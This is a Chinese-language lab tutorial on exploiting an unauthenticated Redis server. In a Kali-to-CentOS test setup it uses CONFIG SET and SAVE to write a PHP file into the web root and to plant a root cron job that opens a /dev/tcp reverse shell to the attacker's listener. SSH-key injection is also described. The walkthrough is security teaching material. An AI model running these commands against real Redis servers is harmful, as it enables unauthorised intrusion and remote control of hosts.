Redi未授权访问的两种利用方式

前言:redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身提供的config命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的/root/.ssh/authotrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器

0x00 环境配置

复制代码
1. kali(攻击机)       IP:192.168.2.100
2. Centos 7.9(靶机)      IP:192.168.2.120

0x01 搭建服务

复制代码
#将windows本机提前下载好的redis压缩包传输到 Centos 7.9家目录下
scp redis-5.0.3.tar.gz root@192.168.2.120:/root/
复制代码
#Centos上操作
[root@M1key ~]#yum -y install tar        //安装tar命令用于解压文件
[root@M1key ~]# tar -zxf redis-5.0.3.tar.gz  //解压缩redis文件
[root@M1key ~]# cd redis-5.0.3
[root@M1key redis-5.0.3]# yum -y install centos-release-scl //安装软件集合包
[root@M1key redis-5.0.3]# yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++devtoolset-9-binutils  //安装gcc
[root@M1key redis-5.0.3]# scl enable devtoolset-9 bash  //临时修改gcc版本
[root@M1key redis-5.0.3]# gcc -v    //查看gcc版本
Using built-in specs.
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/opt/rh/devtoolset-9/root/usr/libexec/gcc/x86_64-redhat-linux/9/lto-wrapper
Target: x86_64-redhat-linux
Configured with: ../configure --enable-bootstrap --enable-languages=c,c++,fortran,lto --prefix=/opt/rh/devtoolset-9/root/usr --mandir=/opt/rh/devtoolset-9/root/usr/share/man --infodir=/opt/rh/devtoolset-9/root/usr/share/info --with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-shared --enable-threads=posix --enable-checking=release --enable-multilib --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-gnu-unique-object --enable-linker-build-id --with-gcc-major-version-only --with-linker-hash-style=gnu --with-default-libstdcxx-abi=gcc4-compatible --enable-plugin --enable-initfini-array --with-isl=/builddir/build/BUILD/gcc-9.3.1-20200408/obj-x86_64-redhat-linux/isl-install --disable-libmpx --enable-gnu-indirect-function --with-tune=generic --with-arch_32=x86-64 --build=x86_64-redhat-linux
Thread model: posix
gcc version 9.3.1 20200408 (Red Hat 9.3.1-2) (GCC) 
[root@M1key redis-5.0.3]#make  //make编译,编译成功后会在src目录下生成两个可执行文件redis-server、redis-cli。

注意事项:gcc版本小于5.3编译的时候会报错

启动服务

复制代码
[root@M1key redis-5.0.3]# cd src/
[root@M1key src]# ./redis-server 

尝试连接redis服务器

复制代码
#kali操作机
root@kali:~# apt install redis-tools   //安装redis客户端
root@kali:~# redis-cli -h  192.168.2.120  //连接redis客户端,默认端口6379

可以看到会报错,因为redis默认开启哨兵模式,我们需要在开启redis服务的时候关闭哨兵模式。

复制代码
[root@M1key src]# ./redis-server  --protected-mode no

再次连接就不会报错了

此时环境就准备好了,可以开始我们后续的步骤了。

0x02 写shell文件

tips:由于是上帝视角我们知道网站根目录在/var/www/html下。

复制代码
192.168.2.120:6379> config set dir /var/www/html   #选网站根目录
OK
192.168.2.120:6379> config set dbfilename shell.php  #设定文件名
OK
192.168.2.120:6379> set x "\n\n<?php phpinfo();?>\n\n"  #设置文件内容
OK
192.168.2.120:6379> save     #保存
OK

tips:在写文件内容的时候,redis有可能会在开头或者末尾添加一些banner信息,所以在设置文件内容的时候我们要进行一个换行的操作。

访问我们上传的文件:

上传成功!

0x03 反弹shell

与写shell的原理一样,只不过我们这次写的文件在定时任务的目录下,设置时间触发一个定时任务,然后kali接收shell。Over~!

复制代码
#kali操作机
192.168.2.120:6379> config set dir /var/spool/cron  # 选择定时任务的目录
OK
192.168.2.120:6379> config set dbfilename root     # 配置文件名称
OK
192.168.2.120:6379> set x "\n\n0-59 * * * * /bin/bash -i >&/dev/tcp/192.168.2.100/8888 0>&1\n\n"      # 配置文件内容
OK
192.168.2.120:6379> save
OK

# kali 另外开一个终端
root@kali:~# nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.2.100] from (UNKNOWN) [192.168.2.120] 43652
bash: no job control in this shell
[root@M1key ~]# 

成功接收shell。

相关推荐
黄金龙PLUS4 小时前
5个1024比特大状态置换算法的设计与分析
算法·网络安全·密码学·哈希算法·同态加密
aixingkong9215 小时前
Nvidia为例 XPU的Multi-Host、Socket Direct 、GPUDirect、RDMA 技术点分析
服务器·网络·硬件架构·硬件工程
Thneonl13 小时前
Flink Operator 的隐藏陷阱:容器名不是你以为的那个
安全·kubernetes
Thneonl13 小时前
kubectl scale ds 是个 404:DaemonSet 没有 replicas
安全·kubernetes
青Cheng序员石头14 小时前
失控之前 | AI 安全到底在保护什么?
后端·安全·aigc
云水一下6 天前
零基础玩转bWAPP靶场(七十一):Slow HTTP DoS(慢速HTTP拒绝服务)
web安全·bwapp·slowhttptest
虎头金猫6 天前
4K 视频总卡在公网带宽?用 N1 + OpenList 把网盘播放链路重新理顺
运维·服务器·网络·python·容器·beautifulsoup·pandas
龙亘川6 天前
一网统管AI平台民生业务实践:基于城市数字底座赋能公积金业务服务升级
大数据·安全·智慧城市·开源软件·数据可视化·政务
wuyk5556 天前
《WiFi 嵌入式物联网开发全套实战》| 第 16 章 ESP32 AP+STA 双模共存原理与工程坑点
网络·stm32·物联网